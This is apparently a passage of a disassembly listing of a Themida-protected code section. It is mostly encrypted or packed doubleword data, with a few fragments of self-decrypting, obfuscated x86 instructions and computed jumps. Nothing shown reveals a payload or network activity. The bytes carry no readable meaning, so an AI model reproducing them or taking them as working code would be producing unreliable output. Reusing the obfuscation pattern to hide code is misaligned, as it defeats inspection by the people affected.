		dd 0D4A9CD72h, 0E1D6507h, 0C2484993h, 0A27C3014h, 4C387317h
		dd 9F4813E8h, 6A1FB66Ah, 5F144531h, 61DC25C0h, 8D4C336Ah
		dd 8DE99DDAh, 4B5C0860h, 0A2B718B1h, 6A2Eh, 7E329C00h
		dd 8D34533Fh, 0B60DA054h, 3372161Fh, 0D4C0077h,	52392719h
		dd 6DCC7CF0h, 78431814h, 0B9EA96D3h, 538E6B0Ah,	0C3336B34h
		dd 5FA568Ah, 0DECDD3A1h, 92334864h, 0ABC0A480h,	5345h
		dd 7E328700h, 7D9533Fh,	7C9032D9h, 0F8746DCCh, 0CC7CB111h
		dd 4D9556Dh, 0AC589337h, 52D37251h, 0EC9A569Eh,	59130FC1h
		dd 0D72BC17Dh, 6ED4D7A9h, 866DCC7Ch, 7C47FBAAh,	0C39F6DCCh
		dd 40772DA6h, 7CB80554h, 407F6DCCh, 356944A1h, 149336Bh
		dd 0C3000000h, 4E427B32h, 6EA95DDCh, 0EB29E259h, 0FDF4DD67h
		dd 0E722C8F3h, 371B373Bh, 0BAA594Bh, 0FCAF832Ah, 734FD3BFh
		dd 9A4B6AB7h, 0CC0B53EFh, 0FA37EC6Dh, 0FEAF2602h, 0C4C799BDh
		dd 67FC7127h, 9D8F83DFh, 117AC8C3h, 2CD3943Ch, 77270BF7h
		dd 0AE55DEFBh, 0F2DBC579h, 95A1FAB2h, 41FACF9Ah, 0FAA1558Ah
		dd 943CB74Ah, 3D993807h, 6E8BCA7Eh, 0F7093EE5h,	9185BC64h
		dd 77FEB895h, 0F0E79BD0h, 0A51D0C37h, 41943CB7h, 381501E5h
		dd 0FEA58C23h, 874A15C9h, 67397A6Ah, 176h, 6468759h, 159E4DE8h
		dd 436FD3C2h, 1087943Ch, 0C681C5Dh, 0D73913E8h,	0E2EEC4A9h
		dd 56A00A69h, 0CCB613AFh, 8A81F36Dh, 6DCCB638h,	876480DCh
		dd 0E2FCDFF6h, 0FCEC1227h, 8C78F467h, 0B346B9B2h, 44FB1819h
		dd 0BEF3AC27h, 3A9300Ah, 7B24AFCCh, 0F1373446h,	652B6694h
		dd 675E203Dh, 0EA718BC0h, 81BA6F43h, 98B59195h,	3BEFE6h
		dd 94D37514h, 2BCA79E0h, 0C990E8A5h, 393DE926h,	41E07F24h
		dd 26D9558Ah, 397A5ECBh, 0D452123Bh, 5582B96Fh,	13E8EA74h
		dd 4F5Dh, 0C15CAF00h, 0D949401Ah, 0FDEDCC7Ch, 9C267521h
		dd 0B1EDCC7Ch, 0B8CFC3FCh, 3A21D514h, 0FFE6EA89h, 0FAAA140h
		dd 533F8031h, 9E528F34h, 0A8C29EC2h, 257895D6h,	0E0656E3h
		dd 2BD05239h, 78F46DCCh, 9843C4h, 806D0000h, 91C80593h
		dd 32FACF0Fh, 0DC83BD5Ch, 0FAB1CBA7h, 67FC0C91h, 0B420F075h
		dd 6E88F633h, 0B2CC9E52h, 238E4BF7h, 9AAFAB94h,	79356A21h
		dd 60144902h, 238F8E39h, 0AFF0A194h, 0DB1DC4C3h, 0A865EAF6h
		dd 0EC98BCD4h, 6BFE39EDh, 3C8F3DD4h, 0BE65CC63h, 6970D589h
		dd 0D3B15872h, 0B39E184Ah, 0EA71CBB7h, 181C0845h, 0C0B4EBA1h
		dd 13CC8764h, 0CEA032DEh, 0B7C69C9Dh, 9FBC69ACh, 0CFE665FCh
		dd 4937F20Ch, 29942FF8h, 0A5C1FCB2h, 855910CBh,	76FAA6E1h
		dd 0ADCAA65Ah, 0BD5CA329h, 0FAA6DD83h, 7C398980h, 81DD6DCCh
		dd 916F8165h, 4076135Ch, 0A4B9DCABh, 0F76A99E7h, 9FD7967h
		dd 0CAA4D992h, 2D4DF5B4h, 0CDA99425h, 855426B0h, 0DBFAA6E1h
		dd 3D39ED26h, 0FE444719h, 1694252Dh, 0CD763D1Ah, 0BDBDEC98h
		dd 66C07862h, 4D8E3FFAh, 1B00DD59h, 0B1E69D84h,	0E2C1AE9Fh
		dd 7EB1E69Ah, 6805BD6Ch, 85E1A060h, 0C067EE68h,	0E3FF3AF0h
		dd 0CA7E3D2Fh, 42E56E8Bh, 0EC871105h, 9C8F7155h, 0A0606826h
		dd 0CE8562BEh, 0DD0EE015h, 0E6C4FF3h, 44655215h, 5A0A0FE0h
		dd 42B97D5Ah, 37A05489h, 0Ah, 9A215F85h, 6AC6BAF3h, 8032B78Dh
		dd 9952493Dh, 7519B064h, 9E4F463Ah, 7E32A95Dh, 9034533Fh
		dd 8126A551h, 94395044h, 7830A75Bh, 50CF5541h, 405E089h
		dd 83000000h, 48704E8h,	0C895C24h, 0E6895624h, 4C681h
		dd 0EE830000h, 24348704h, 2434895Ch, 81E68956h,	4C6h, 4EE8100h
		dd 87000000h, 895C2434h, 97BE241Ch, 0D13A3A05h,	0CFF56EEh
		dd 0EE815E24h, 1705F3D7h, 4EC81h, 24890000h, 24048124h
		dd 4, 8B8505Bh,	5000000h, 288445Dh, 5D2DD801h, 89028844h
		dd 1C8B5830h, 0E6895624h, 4C681h, 0C6830000h, 24348704h
		dd 24348B5Ch, 5E08950h,	4, 8704C083h, 0E95C2404h, 0FFF96BC8h
		dd 5C3D758Eh, 0DF2EC1B2h, 8B807FAh, 3061714h, 55E0FFC5h
		dd 0D061EF7Bh, 914FEEC8h, 724B6738h, 5D2D4D3Eh,	904C1212h
		dd 0CE3D83A0h, 0BB243327h, 0F02D3D58h, 0D24B647Ah, 414AF0DBh
		dd 0BD348B2Eh, 420130E1h, 0E46FDD12h, 547F1A5Bh, 6E258931h
		dd 4C4C0DDBh, 5F474B8Fh, 0BA38A9C2h, 0AF17594Ch, 0BB4EC588h
		dd 0E34C635Dh, 4F4A9E69h, 0E128184Dh, 16430E27h, 9137A62Ah
		dd 9849192Ah, 0B62CD9D4h, 0E83C93B7h, 6, 0F949857Ch, 0E9606471h
		dd 0Dh,	0B23D7B28h, 38562198h, 66BA04DFh, 61EC8A25h, 0DE959h
		dd 9F080000h, 0F9F3E33Fh, 5F3BFA6Bh, 81EAC8D3h,	5EF7C1h
		dd 1799BB00h, 0BA660000h, 31FF3E90h, 0BF58D18Bh, 6D0FBDA5h
		dd 65B1C081h, 0BF667659h, 0E881706Ah, 197471DDh, 8E3EF081h
		dd 8F5000A7h, 7A58BA01h, 0E9830D6Fh, 4949FC01h,	0E3CA8149h
		dd 4B7338FCh, 0C850Fh, 18E90000h, 2E000000h, 5E85FB8Ah
		dd 0D6810589h, 1E13E88Ch, 0FFFFADE9h, 0A30EAEFFh, 82CAD25Bh
		dd 889A075h, 0DC781469h, 60638DA6h, 2E863635h, 908635A1h
		dd 480AD925h, 99053025h, 14962374h, 76023F25h, 7863025h
		dd 528F4198h, 0A5893023h, 90863057h, 6B63B5E3h,	4CC83635h
		dd 0DA6D2741h, 2DA204A4h, 7BE699E5h, 52956190h,	0AB03BD23h
		dd 6F8023A0h, 8E76BBF5h, 34A5D5A0h, 36EE7E23h, 8858931Eh
		dd 68E21411h, 0F77946C4h, 27963954h, 150CB5A8h,	98793636h
		dd 343FC8AEh, 0FB863025h, 986302Dh, 8A033F83h, 0B863025h
		dd 0A489F92Eh, 6F79CFD5h, 48863DCCh, 0A11BBD25h, 0AA80206Bh
		dd 9863020h, 390BD3DAh,	449125E1h, 3707BDA8h, 823E3632h
		dd 63000000h, 826FF1EAh, 889A075h, 0DC781469h, 60638DA6h
		dd 2E863635h, 908635A1h, 480AD925h, 99053025h
dword_5BCB08	dd 0F305E983h, 22B9A4h,	0FE80000h, 3A000000h, 3A66391Eh
					; DATA XREF: Themida_:0054C344o
		dd 0FC5D66A2h, 549F3790h, 0BD317FFBh, 6100ED9h,	81FB8B5Bh
		dd 59EBC3h, 35B58B00h, 68061009h, 1641h, 20FD8D89h, 295A0610h
		dd 1004E58Dh, 0E833FF06h, 0Ch, 0EC5CD7E5h, 0DBBA334Bh
		dd 5079B958h, 5EF0B70Fh, 0FDB58B58h, 8106100Bh,	0D86ECF0h
		dd 0EE86010h, 0FF000000h, 65361803h, 9932B29Fh,	9916B9EFh
		dd 5F5B514Bh, 38F08161h, 891ADF45h, 10094D85h, 0E5C08106h
		dd 0F2CBF04h, 389F0B7h,	68D0Fh,	95290000h, 6100EF9h, 1CEDEB81h
		dd 895319F8h, 1032DD8Dh, 0C3815F06h, 19F81CE9h,	26A2E981h
		dd 0F4A58C6h, 1F85h, 9DBD3100h,	0E9061005h, 2Ah, 9A28E1E9h
		dd 0F059F43Fh, 98544E20h, 0D5DFCF23h, 4CD86FE9h, 241D8531h
		dd 56E90610h, 0EFFFFFFFh, 1DAAC45Ch, 0F4AE47FFh, 24E9567Eh
		dd 28000000h, 0C675h, 7	dup(0)
		dd 0E9000000h, 8C5h, 0BE7ABD6Dh, 0DE5A9137h, 0C579B257h
		dd 0D8549136h, 0BC70AF61h, 8C40B2CEh, 670A914Dh, 7F23B226h
		dd 5A118844h, 0BAC6A925h, 0DB6B73CFh, 8E16936Bh, 0CC7C4502h
		dd 6131DA6Dh, 0DC5074ABh, 2CA6C902h, 0DFD77CB9h, 0FFF2AD6Dh
		dd 708D6922h, 2CDF060Dh, 6DCC4296h, 0B50DFC6Eh,	516DCC42h
		dd 0FBD5F1D5h, 0FC43EB10h, 0D3BF9B67h, 0F22BE259h, 1A322FEh
		dd 7552CEC2h, 0FCB0ABEh, 5B0FDF88h, 0BFA3E485h,	0BE7DEFA3h
		dd 5DD9CD08h, 3C0CB380h, 7024385h, 2AC73E51h, 5FD65A46h
		dd 9E826EADh, 16B7CEC2h, 4AA21D5h, 493D782Eh, 0E1D09EDh
		dd 2DEAD66Dh, 752EF78Eh, 0A1C502A5h, 0EC9F722Dh, 817F397Ah
		dd 0CD000000h, 2D3F7E32h, 7CEA5853h, 0E0A6DCCh,	68F34D39h
		dd 289A91C2h, 0CC6DCC7Ch, 0EB57450h, 34492DD9h,	0DAC605A7h
		dd 69209B7Dh, 0BE04430h, 103D9938h, 73A6C25h, 0CF8C61F4h
		dd 0AF6ADE1Dh, 336AC35Eh, 3B3Eh, 4D78C00h, 0F67A265Bh
		dd 77B65AE1h, 7C63DC8Bh, 0DB46DCCh, 0F8850CBh, 0DBF76669h
		dd 0C2F7B027h, 6E226103h, 0BF0DA47Bh, 240DA4DBh, 0AC2F4180h
		dd 6CC8BCF5h, 425EC78Fh, 0AE000000h, 0FBA47E32h, 84F6AAC6h
		dd 0AFAA1A47h, 0EB9CC1FAh, 0F62FD609h, 0BE06FDDAh, 8F6DCC36h
		dd 0D4F39FDCh, 0AA05F130h, 0A9607A19h, 6DCC3619h, 0AA4521FDh
		dd 7E607A19h, 0CC35378Bh, 7653CF6Dh, 10CC0BBDh,	6004D77Ah
		dd 0CCF17521h, 6548607h, 0E07D5A10h, 16E802D9h,	88659E43h
		dd 0FC82BA9Bh, 0F3972267h, 83DFA3B8h, 1851F88Fh, 377015A4h
		dd 0C76AF14Bh, 0C1969A86h, 34469524h, 0C661C75h, 721EFA9Eh
		dd 0F332D160h, 0A1D67A4Eh, 2C2158EAh, 8460BC9Eh, 0B86DEC60h
		dd 0EEDE6576h, 7C3B6C29h, 0BEB28EC3h, 2C933B97h, 7C13A49Eh
		dd 4B59715Ah, 6F23F5FAh, 0EA2CE15Ah, 486B33ECh,	6A920EAh
		dd 9B31ADC9h, 8E1CC35Ch, 4002A9D7h, 0A46DCC7Ch,	0C5F3B3C8h
		dd 5B4E7932h, 6DCC7CE7h, 793F23FFh, 2BF69735h, 0B366B22h
		dd 4Ah,	70D03835h, 559A0F83h, 0C35CAC78h, 0D4D78E1Ch, 6DCC7C6Eh
		dd 0C4576764h, 36A232FCh, 37056121h, 4D7F5D7h, 5C7F1A5Eh
		dd 0C29DA6E0h, 0B76EF29Eh, 4521D516h, 0BDF6AB28h, 408A42EFh
		dd 39h,	3F80B40h, 474A1967h, 0C35C9A32h, 6D1C421Ch, 6DCC7CD5h
		dd 8C183531h, 0B7C4A9D7h, 330A4E1h, 0A410BC2Bh,	9FB5C1B7h
		dd 0B261E1CAh, 0B3A36DCCh, 32F5D7E5h, 4274427Bh, 6104D78Ah
		dd 0DBF07420h, 7E72A760h, 0C8FDD9D7h, 417C326Dh, 52933655h
		dd 6908B79Eh, 58F7C863h, 41FD32D9h, 2BD716BAh, 0CDB9F8ACh
		dd 7C31A890h, 0FE952643h, 0E2569537h, 6FB6D617h, 29B633h
		dd 32140000h, 63504479h, 0B6758754h, 67FC1D45h,	64BCEFFh
		dd 0A39CB814h, 9E4F1610h, 0C5A2BEFAh, 12AD59D5h, 6C1312B1h
		dd 32E58337h, 63504479h, 0B6758754h, 67FC1FADh,	0EA71ED49h
		dd 26180C41h, 0DF632638h, 379423A0h, 0A0F64C3Bh, 120E9423h
		dd 3A974E35h, 734C19B5h, 25E4FADCh, 18B10E9Dh, 53E0FD79h
		dd 0D9C377ACh, 596EAF62h, 0BFE29E2h, 18B10EB7h,	3EFD34Fh
		dd 9AB427AEh, 0CD246E1Fh, 5F28A99h, 969A866Ah, 0BFEC9FC1h
		dd 4712814Dh, 738D6FEBh, 0A1520AB8h, 596EEA02h,	1CC35CD3h
		dd 5D83FD8Eh, 7C3A8883h, 7EDA6DCCh, 0CC7C2B97h,	6A4FCB6Dh
		dd 7A51D102h, 3B11E60Eh, 4002A9D7h, 0A46DCC7Ch,	7F28B3C8h
		dd 8A9304Ah, 351AB2C7h,	222BF697h, 0B29B366Bh, 701AF539h
		dd 73D3F827h, 90ACE0B9h, 3A2DA3B8h, 9F000000h, 113C35Ch
		dd 92F85E1Bh, 0D7BE8C68h, 0CC7C6ED4h, 9A67646Dh, 34E8C149h
		dd 0C7A35774h, 458026B5h, 2CF8D551h, 7B32F5D7h,	3E427442h
		dd 978BC87Bh, 40E6BE9Bh, 36h, 1CC35C8Ch, 6ED4D78Eh, 0A46DCC7Ch
		dd 0F5D7EAB0h, 2A77B32h, 7D59DDC9h, 5F96D7AFh, 0C0D8F88Fh
		dd 60B1087Bh, 0C465A27Bh, 0CCED7DC5h, 0B99D996Dh, 35124B02h
		dd 7932F68Eh, 0FCAF2A44h, 0B5169ABFh, 0DE5C8A45h, 464E1D09h
		dd 9B6DC820h, 1BC46D04h, 208939F0h, 49389230h, 95B0EFCh
		dd 3419150Dh, 46B155A6h, 8A3E2295h, 661A590Bh, 927EBD6Fh
		dd 2FD863B5h, 8470AB5Fh, 54D0C4A0h, 240DA477h, 0BB01A680h
		dd 0F8005453h, 6480641Ch, 0F7DC35E8h, 2ABC336Eh, 0E000000h
		dd 50447932h, 75875463h, 0FC0CD5B6h, 9BB5B167h,	502D6C20h
		dd 5794374Eh, 38792CABh, 0F392314Ch, 32D1F2CDh,	0A3174CF3h
		dd 5C04D705h, 0D48B4825h, 44206104h, 87546350h,	26E5B675h
		dd 6E5F67FCh, 65EA0271h, 84BD64FDh, 847E960h, 3F43181Ch
		dd 0C69567E3h, 972EE223h, 6BC7BBF0h, 5CDA7287h,	0FD8E1CC3h
		dd 447932CFh, 0E085542Ah, 7C4200A7h, 0C6A26DCCh, 0A9D71BB1h
		dd 0CC7C4002h, 45BA6F6Dh, 0A366B9A1h, 0E45A6FEBh, 222BF646h
		dd 3D0B366Bh, 81000000h, 8E1CC35Ch, 7C6ED4D7h, 0F866DCCh
		dd 2D3F2358h, 7CEA5853h, 41E86DCCh, 6DCC7C81h, 1D190965h
		dd 0F5D76440h, 74427B32h, 30408A42h, 40000000h,	7B37DC0Bh
		dd 79303438h, 0EAC297D8h, 8E1CC35Ch, 7C6ED4D7h,	0B0A46DCCh
		dd 32F5D7EAh, 4274427Bh, 0FEC30D3Eh, 44C8209Ch,	0FBA7E085h
		dd 32CA6277h, 43B79h, 6D1FA366h, 7BF76DCCh, 590F074Eh
		dd 0D2E2897Dh, 0F6DC8E2h, 571011B0h, 782FA622h,	53624F43h
		dd 0D2B37688h, 0AC98079Ch, 0D76EFCB0h, 7C4002A9h, 0C8A46DCCh
		dd 16C952B3h, 32CFFD90h, 35764479h, 5C04D797h, 8E4F4825h
		dd 6E366B21h, 5Ah, 81C35CDCh, 81E591CEh, 38EC21CAh, 0D792183Ch
		dd 2496D7A9h, 1B353B6Fh, 4FC67C2Bh, 421E6DCCh, 6DAEF215h
		dd 5F7CE6E8h, 0CC451EA4h, 0AC7AF66Dh, 7B32F5D7h, 3E427442h
		dd 708DC67Bh, 2A9D7D4h,	6DCC7C40h, 5C11C8A4h, 279B4623h
		dd 0A5000000h, 7C72D0BBh, 96926DCCh, 0C35CEBC1h, 269A3913h
		dd 0AE64F76h, 6ED4D73Ch, 0A46DCC7Ch, 0F5D7EAB0h, 74427B32h
		dd 79328A42h, 0DDC906A9h, 0B7897D59h, 7C60E2C9h, 0A8846DCCh
		dd 2C417E31h, 0C8FD717Fh, 7E15AE6Dh, 1DB10B7h, 0C0E593CCh
		dd 3348191Ch, 3E732CABh, 306D852h, 92373FBFh, 5FFEDB57h
		dd 97698358h, 373F2E94h, 5DE5A492h, 0B992373Fh,	9469C5BDh
		dd 6C28BD6Ch, 0B1B69807h, 7C34B623h, 4804E0F3h,	1CC35CC2h
		dd 5D04D78Eh, 8CF4CF1Bh, 0CAA616C2h, 817D5AD6h,	447932FBh
		dd 0F6973576h, 366B222Bh, 56ECB29Bh, 1C2C446Bh,	37893Fh
		dd 5C030000h, 9421CC3h,	0A08B46E7h, 6DCCB622h, 418166C2h
		dd 663E1BDDh, 7C6ED4D7h, 0AA866DCCh, 32F5D71Ch,	4274427Bh
		dd 53408Ah, 1E400000h, 0CC7CD76Bh, 16332F6Dh, 1CC35C8Eh
		dd 0D56D1C42h, 316DCC7Ch, 7CF64C3Fh, 120E6DCCh,	96D5772Eh
		dd 0D4D7EBC1h, 6DCC7C6Eh, 48AFA7A4h, 35225B12h,	0D74E3A1Ah
		dd 51D7FB30h, 4D7F5D7h,	0F0742061h, 70A960DBh, 203E42AAh
		dd 0CC7CD969h, 0CE13D6Dh, 44793240h, 91546350h,	37EB22CAh
		dd 7CF64C3Bh, 120E6DCCh, 0E86D1C2Eh, 1667FC12h,	0B2419E1Ah
		dd 25165729h, 0ECFD2E64h, 6200C269h, 88E49423h,	2B97926Ch
		dd 0CB942362h, 0A3667A4Fh, 9E180DF7h, 2B9938Fh,	0EB94134Ah
		dd 9166CAB6h, 184DF695h, 4CFFBAA4h, 0EAFF630Fh,	9185BA71h
		dd 0E5D60FCAh, 0C178E495h, 27FCD10Eh, 0CD02A988h, 0ACE18A11h
		dd 0A14586F8h, 1187BA3Ah, 9C4F0CE1h, 1BCE8D5Fh,	2D4A26DAh
		dd 0D2896771h, 3A09DE1Fh, 0BCF19A9Bh
		dd 9DD27900h, 1000E9h, 0DE000000h, 0CA16972Bh, 0B2586F80h
		dd 0A67E5B77h, 80326D5Fh, 9952493Dh, 7519B064h,	9E4F463Ah
		dd 7E32A95Dh, 9034533Fh, 8126A551h, 94395044h, 7830A75Bh
		dd 52CF5541h, 0C281E289h, 4, 3304EA83h,	14312414h, 24143324h
		dd 11C5685Ch, 3C890000h, 7B576824h, 2C890000h, 17C56824h
		dd 3C8B0617h, 4C48124h,	54000000h, 83242C8Bh, 815704C4h
		dd 0BD22434h, 458F6C12h, 8BB5308h, 1000000h, 0D23381EBh
		dd 5B6C120Bh, 50242C8Bh, 405E089h, 83000000h, 48704C0h
		dd 3C8B5C24h, 0E7895724h, 4C781h, 0C7830000h, 243C8704h
		dd 5FF2E95Ch, 4F1EFFF9h, 0B6EDFB72h, 0F2F4C2B7h, 0D655C5D1h
		dd 1FFCB89Bh, 0C5030617h, 938AE0FFh, 4ADD27ABh,	79C9450Ah
		dd 867259B8h, 0EAA521E8h, 343C640Eh, 0ABC61DE1h, 0F13A4E69h
		dd 25822657h, 4D326C5Eh, 46C91C62h, 0CD395435h,	0EBAF14A1h
		dd 0A6407A2Fh, 0FA0312B1h, 0C9AB30DAh, 471D3E2Dh, 86F66469h
		dd 550E45CFh, 58FB12A4h, 13591E4Bh, 0C96D3962h,	4B2B22A8h
		dd 5B814BF3h, 0E1FD0E3Fh, 0ABBB5727h, 931961F5h, 0B05409F6h
		dd 0F84D1982h, 25E9643Bh, 0AD000000h, 27718Bh, 8 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5BDAF3
; ---------------------------------------------------------------------------
		db 0FCh, 4Ah, 7
		dd 0E51CC453h, 23BF269h, 0DF1CCF46h, 0F938EC6Bh, 0C93B4745h
		dd 0E574E827h, 0D0470344h, 0EC6BDF1Ah, 5F4AFE33h, 5D14AE5Dh
		dd 0F3F06BDBh, 44793229h, 58973950h, 11B15886h,	0F56DCC7Ch
		dd 5BDA6479h, 4836FA4h,	8554265Bh, 78FCA8DFh, 7C24A363h
		dd 973A5145h, 8DBDAA56h, 0B797C610h, 1E5F12C9h,	32D16072h
		dd 5F1350F3h, 734CDF03h, 79AE55DCh, 559036C5h, 0BB73527Bh
		dd 0E595AE4h, 209B8539h, 0DE422E6Bh, 619C5209h,	0DE13CC8Fh
		dd 6D192E32h, 867ABB6Eh, 67CE651Ch, 45D488C3h, 0C3BD699Eh
		dd 381554F8h, 0CCE0F24Bh, 0EF86356Dh, 6A99C70Ah, 69A733h
		dd 32E50000h, 0E8A33B79h, 92E671Eh, 0CFF31C69h,	40CC7423h
		dd 6E4D6DCCh, 0C468F3D7h, 0B8959185h, 6AF9EEBFh, 89805E33h
		dd 6DCC4C39h, 46C81DDh,	0Bh, 9D25E4FAh,	796DCC4Ch, 3244E0FDh
		dd 384F437Ah, 46875990h, 0C104C47h, 0D106BD0Dh,	0AF26D8F5h
		dd 60E2C9FCh, 846DCCF4h, 0A5D8CCA8h, 6BE67FEh, 23DC5BCFh
		dd 32AC3AEEh, 0E062497Eh, 46DCC7Ch, 0B79BDC8Dh,	0FD65092h
		dd 0D9FD925Fh, 0BFF6AE2Dh, 4EE576D3h, 191045E7h, 6DCC90A9h
		dd 5392364Dh, 0C39FC39Fh, 0A2D79007h, 235C11C8h, 28D6F36Fh
		dd 0ECDFCB1h, 0CB771E57h, 2B6DCC90h, 97D2782Fh,	771AA1BBh
		dd 34652136h, 0BC05E07Fh, 2C336A47h, 0C8BCFBADh, 6ED98F6Ch
		dd 33000000h, 7BF396D7h, 0DD8FE46Ch, 3D39ED2Ah,	0D5774419h
		dd 36EBEA96h, 4D7609FDh, 88BD6FB6h, 0CCD421A1h,	1BCEC56Dh
		dd 264A26DAh, 65078E4Ah, 33175426h, 0C09A28D1h,	0D6F5B1C6h
		dd 5700F431h, 9D60851Ch, 7D336A4Fh, 48h, 3F7E32CFh, 538E3453h
		dd 0DC734C9Fh, 0C707D1FAh, 15AEB458h, 3E103473h, 0CC8EF74Bh
		dd 36130F6Dh, 0D08CCB7Dh, 3A7A323Ah, 0B125641h,	2ED6554Fh
		dd 4B270BF7h, 0D6B71057h, 47786DCCh, 8B844DA8h,	164336Ah
		dd 0A6000000h, 4E427B32h, 815B9037h, 27E215BAh,	6DCC7C9Bh
		dd 0CFC39F7Bh, 1E887653h, 0BCF39920h, 0AC8F6CC8h, 822AB115h
		dd 7CEC5655h, 2C086DCCh, 0B2CF5C48h, 0C8FFA996h, 0E3708D69h
		dd 6C4AFC3Eh, 93B8D115h, 0FA6FBAFh, 3A77D31h, 7C58DCC8h
		dd 0B6C8AC88h, 0FCE416F3h, 5A74F067h, 39ED2EDFh, 0C5E203Dh
		dd 8C61964Dh, 67E318CFh, 0E80237F0h, 0A4AF1316h, 0CB80943Ch
		dd 8E7EE28Eh, 346F1392h, 1707E440h, 3CA4F050h, 3FD66D94h
		dd 46184DF6h, 0A4D17118h, 0BA6E943Ch, 0D2A7837Bh, 0A1D68D0Ch
		dd 0EF2DD6F5h, 64A5C2AEh, 28DCF8F0h, 0D3BF00B1h, 0E3C37C46h
		dd 0E0576711h, 1605F128h, 502CE65h, 0AD56DF76h,	4DAC478h
		dd 3CFEBD05h, 24E75994h, 943CFE9Eh, 1D6FA76h, 7AB3B3FEh
		dd 0C2A2339h, 0DA15B948h, 3E1D4A26h, 0A3452214h, 124h
		dd 1EBD5CE9h, 266C5D4Ch, 9E7A67FCh, 0F72CD3F2h,	3B0BB443h
		dd 0ED555489h, 99423AAh, 0D95D492Dh, 0D99209FDh, 38D9F0A4h
		dd 0D68C0BF7h, 11B2E79Bh, 0A994E72h, 0EC21CA6Bh, 15CB8E70h
		dd 772E32DEh, 8AE69AD1h, 6067AA6Dh, 4747397Bh, 85000000h
		dd 0E11C15Ch, 0ED0A5118h, 0A9607A56h, 0EDCC6939h, 9B9581DDh
		dd 48053B2h, 7118C55Ah,	0EDCC42D1h, 431D3935h, 0CC42FA48h
		dd 293E1AEDh, 0CC42C082h, 0B74EEDEDh, 84568598h, 0CC421D85h
		dd 1BDB96Dh, 8F88h, 0BD5CF400h,	3C5D4C1Eh, 0CA67FC0Ch
		dd 0B6C8A24Eh, 238C4FF3h, 0AECBA794h, 58537E25h, 94238CEAh
		dd 68290E0Ah, 98BBEB06h, 30ABC5A1h, 0E062497Ah,	49423BDh
		dd 0A72F4C28h, 4E427730h, 23BCBC07h, 750CB394h,	0AAE38A51h
		dd 285D06CDh, 13C84FB4h, 0DDE85239h, 401C9E18h,	508E3554h
		dd 0CD28B133h, 0BEE0923Ch, 2CA36388h, 0FFE99DB9h, 43A4CC01h
		dd 4430671Dh, 79A8FBE0h, 7918ABC0h, 0ED28DE5Dh,	0BD203D39h
		dd 0E0CBA536h, 942F197Ah, 8C1A8E8Ah, 4C1EBD5Ch,	0F71DFD5Dh
		dd 792D0967h, 0B874A962h, 0A1558A41h, 4E77B0FAh, 0B35271F5h
		dd 6C9F4417h, 4E4E05BDh, 6185E1B5h, 0E318CF8Ch,	0BD589567h
		dd 0C6A0A255h, 7F28B3C8h, 8A9304Ah, 0D5F4B2C7h,	60DBF532h
		dd 0DF20D1ADh, 639E4403h, 730E9886h, 83AE55DCh,	4E743A88h
		dd 0C77EDAB5h, 4D01E526h, 841E873h, 7843181Ch, 94E69ACFh
		dd 7403BF6Ah, 641CB54Eh, 0E7F9752Dh, 4E749E24h,	0DDFA76B5h
		dd 364h, 6D5FD800h, 493D8032h, 0B0649952h, 463A7519h, 0A95D9E4Fh
		dd 533F7E32h, 0A5519034h, 50448126h, 0A75B9439h, 55417830h
		dd 575A68CFh, 0C890000h, 50336824h, 4890000h, 0E0895024h
		dd 405h, 42D00h, 4870000h, 1C895C24h, 68535724h, 65A62078h
		dd 4EF3815Bh, 8963B101h, 0F8895BDFh, 5B27685Fh,	24890000h
		dd 24048324h, 0EC815B04h, 4, 8F240489h,	1C8B0843h, 0E1895124h
		dd 4C181h, 0C1830000h, 240C8704h, 24048B5Ch, 81E18951h
		dd 4C1h, 4C18300h, 5C240C87h, 0F959E7E9h
		db 0FFh, 0CDh, 0E7h
; ---------------------------------------------------------------------------


loc_5BDAF3:				; CODE XREF: Themida_:005BD59Cj
		mov	eax, 617260Ah
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dd 46F5928Ch, 27E684D9h, 375AE8Ah, 3A6CBB2Ch, 291BFAC7h
		dd 6924CDE3h, 4088F9FBh, 4445561Ch, 3CB50508h, 0DB992C3h
		dd 5F4D5BF9h, 48869F1Bh, 7A6BF15Bh, 2AA402Ah, 31DFCCBBh
		dd 4D8F56DCh, 350DCF82h, 3A1D0B74h, 2270F6E3h, 537AD4D6h
		dd 28DDB249h, 47846014h, 60EF6F9Ah, 5BB54483h, 724B987Ah
		dd 240D5334h, 0EB93560h, 4823144Dh, 27B88D8Dh, 6A0617h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 0DF8F92C3h, 0D2694095h, 58D0FA0h, 66000000h,	834F081h
		dd 9F58D89h, 0B8660610h, 85C792B3h, 6102319h, 6B50h, 14E9h
		dd 0BF1DEA00h, 3941B6AFh, 0E4FEB4F7h, 73E80600h, 4C62301Eh
		dd 0C185C713h, 61022h, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 885CC356h
		dd 9C7A1B52h, 53331288h, 595958Bh, 0B5FF0610h, 6100865h
		dd 68B0Fh, 9D890000h, 61029C9h,	2DB995FFh, 0DF8B0610h
		dd 95FF006Ah, 61031C9h,	59EBC08Bh, 506B3FD7h, 0EB5122E4h
		dd 0FB25ADE0h, 42DAACCEh, 6CEA4C2Bh, 13D580Fh, 0FCD4C8CDh
		dd 65255B9h, 266FF7AAh,	168C9E39h, 0A2095756h, 0ECE68593h
		dd 5A4E8E15h, 0E69E93CDh, 287372B7h, 0E9FD14Ch,	2673F002h
		dd 622A70E5h, 0E39E064Eh, 7F3979C0h, 289BD2B2h,	99A25F84h
		dd 0CE87Fh, 0D0D10000h,	3E10365Dh, 0CB45A9E2h, 8D8B7A5Bh
		dd 61021B5h, 0C681F55Eh, 703Ah,	58E0Fh,	81660000h, 684337E1h
		dd 0
; ---------------------------------------------------------------------------
		jmp	loc_5BDCC5
; ---------------------------------------------------------------------------
		db 0B7h, 41h, 0A8h
		db 0CCh
		db 63h,	0B8h, 94h
		dd 428D9235h, 0ED918514h
		db 0E4h
; ---------------------------------------------------------------------------


loc_5BDCC5:				; CODE XREF: Themida_:005BDCB0j
		pop	edi
		sub	[ebp+6101409h],	edx


loc_5BDCCC:				; CODE XREF: Themida_:005BDD48j
		push	dword ptr [edi+esi]
		mov	cx, dx
		pop	eax
		add	[ebp+61027A9h],	esi
		add	eax, 0B1745DDh
		mov	ebx, [ebp+6101D7Dh]
		add	eax, 7378A3Ah
		sub	[ebp+6103101h],	eax
		add	eax, 597450F7h
		mov	[ebp+6101631h],	eax
		mov	[esi+edi], eax
		mov	bh, dl
		mov	[ebp+6100915h],	esi
